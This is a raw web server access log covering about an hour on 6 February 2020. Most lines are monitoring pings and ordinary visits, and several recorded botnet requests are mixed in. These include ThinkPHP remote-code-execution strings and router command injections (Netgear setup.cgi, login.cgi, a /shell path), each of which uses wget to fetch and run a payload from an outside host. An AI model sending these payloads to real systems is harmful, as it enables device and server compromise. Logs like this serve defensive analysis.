180.105.2.206 - - [06/Feb/2020:13:23:07 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 404 310 "-" "-"
212.91.246.72 - - [06/Feb/2020:13:23:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:13:24:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:13:25:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [06/Feb/2020:13:26:00 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.57.40.38 - - [06/Feb/2020:13:26:00 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.57.40.38 - - [06/Feb/2020:13:26:00 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.57.40.38 - - [06/Feb/2020:13:26:00 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.57.40.38 - - [06/Feb/2020:13:26:08 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
94.176.187.254 - - [06/Feb/2020:13:26:25 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
193.57.40.38 - - [06/Feb/2020:13:26:25 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.57.40.38 - - [06/Feb/2020:13:26:25 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.57.40.38 - - [06/Feb/2020:13:26:25 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.57.40.38 - - [06/Feb/2020:13:26:25 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.57.40.38 - - [06/Feb/2020:13:26:25 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.57.40.38 - - [06/Feb/2020:13:26:25 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.57.40.38 - - [06/Feb/2020:13:26:26 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.57.40.38 - - [06/Feb/2020:13:26:26 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:13:26:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [06/Feb/2020:13:26:32 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.57.40.38 - - [06/Feb/2020:13:26:32 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:13:27:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.71.149.44 - - [06/Feb/2020:13:28:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:13:28:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:13:29:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:13:30:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:13:31:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:13:32:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:13:33:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.53.205.52 - - [06/Feb/2020:13:34:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:13:34:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.20.68 - - [06/Feb/2020:13:34:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:13:35:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:13:36:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.109.144.16 - - [06/Feb/2020:13:36:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [06/Feb/2020:13:37:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.17.99.23 - - [06/Feb/2020:13:37:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:13:38:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.50.185.150 - - [06/Feb/2020:13:38:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [06/Feb/2020:13:39:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:13:40:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:13:41:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:13:42:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.93.98.22 - - [06/Feb/2020:13:42:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
103.233.122.135 - - [06/Feb/2020:13:42:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
202.62.59.160 - - [06/Feb/2020:13:43:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [06/Feb/2020:13:43:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:13:44:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.123.216 - - [06/Feb/2020:13:44:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:13:45:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:13:46:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:13:47:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:13:48:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.236.76.95 - - [06/Feb/2020:13:48:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
112.160.110.48 - - [06/Feb/2020:13:49:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.160.110.48 - - [06/Feb/2020:13:49:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [06/Feb/2020:13:49:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.160.110.48 - - [06/Feb/2020:13:49:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.160.110.48 - - [06/Feb/2020:13:49:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.160.110.48 - - [06/Feb/2020:13:50:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
35.201.161.107 - - [06/Feb/2020:13:50:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:13:50:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.89.238 - - [06/Feb/2020:13:51:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:13:51:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.69.182.30 - - [06/Feb/2020:13:51:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:13:52:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.209.84 - - [06/Feb/2020:13:53:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
113.130.124.159 - - [06/Feb/2020:13:53:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:13:53:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.75.112 - - [06/Feb/2020:13:53:33 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [06/Feb/2020:13:54:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:13:55:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.88.102 - - [06/Feb/2020:13:55:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:13:56:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:13:57:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.68.246.198 - - [06/Feb/2020:13:58:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [06/Feb/2020:13:58:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.123.216 - - [06/Feb/2020:13:59:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:13:59:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.119.171.190 - - [06/Feb/2020:13:59:45 +0100] "GET / HTTP/1.1" 200 1229 "https://70casino.online/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; KKman2.0)"
46.119.171.190 - - [06/Feb/2020:13:59:45 +0100] "GET / HTTP/1.1" 200 1229 "https://70casino.online/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; KKman2.0)"
46.119.171.190 - - [06/Feb/2020:13:59:45 +0100] "GET / HTTP/1.1" 200 1229 "https://70casino.online/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; KKman2.0)"
176.231.119.29 - - [06/Feb/2020:13:59:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
114.238.29.106 - - [06/Feb/2020:14:00:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:14:00:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:14:01:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:14:02:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:14:03:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
213.61.218.52 - - [06/Feb/2020:14:03:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
213.61.218.52 - - [06/Feb/2020:14:03:39 +0100] "GET / HTTP/1.1" 200 1229 "http://www.google.de/" "finbot"
213.61.218.52 - - [06/Feb/2020:14:03:40 +0100] "GET / HTTP/1.1" 200 1229 "http://www.google.de/" "Mozilla/5.0 (Linux; U; Android 4.1.2; de-de; GT-I8190 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30"
212.91.246.72 - - [06/Feb/2020:14:04:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:14:05:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:14:06:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:14:07:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:14:08:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:14:09:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.102.49.193 - - [06/Feb/2020:14:09:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
94.102.49.193 - - [06/Feb/2020:14:09:40 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "-"
94.102.49.193 - - [06/Feb/2020:14:09:46 +0100] "GET /sitemap.xml HTTP/1.1" 404 316 "-" "-"
212.91.246.72 - - [06/Feb/2020:14:10:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:14:11:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
182.61.149.29 - - [06/Feb/2020:14:12:06 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
182.61.149.29 - - [06/Feb/2020:14:12:07 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
182.61.149.29 - - [06/Feb/2020:14:12:09 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
182.61.149.29 - - [06/Feb/2020:14:12:11 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
182.61.149.29 - - [06/Feb/2020:14:12:12 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
182.61.149.29 - - [06/Feb/2020:14:12:16 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
182.61.149.29 - - [06/Feb/2020:14:12:19 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
182.61.149.29 - - [06/Feb/2020:14:12:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [06/Feb/2020:14:12:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:14:13:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.163.131.89 - - [06/Feb/2020:14:14:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:14:14:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.33.22 - - [06/Feb/2020:14:15:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:14:15:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.213.67 - - [06/Feb/2020:14:15:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
113.71.152.250 - - [06/Feb/2020:14:16:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:14:16:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:14:17:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:14:18:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.5.215.37 - - [06/Feb/2020:14:18:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:14:19:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.70.193.247 - - [06/Feb/2020:14:19:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:14:20:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
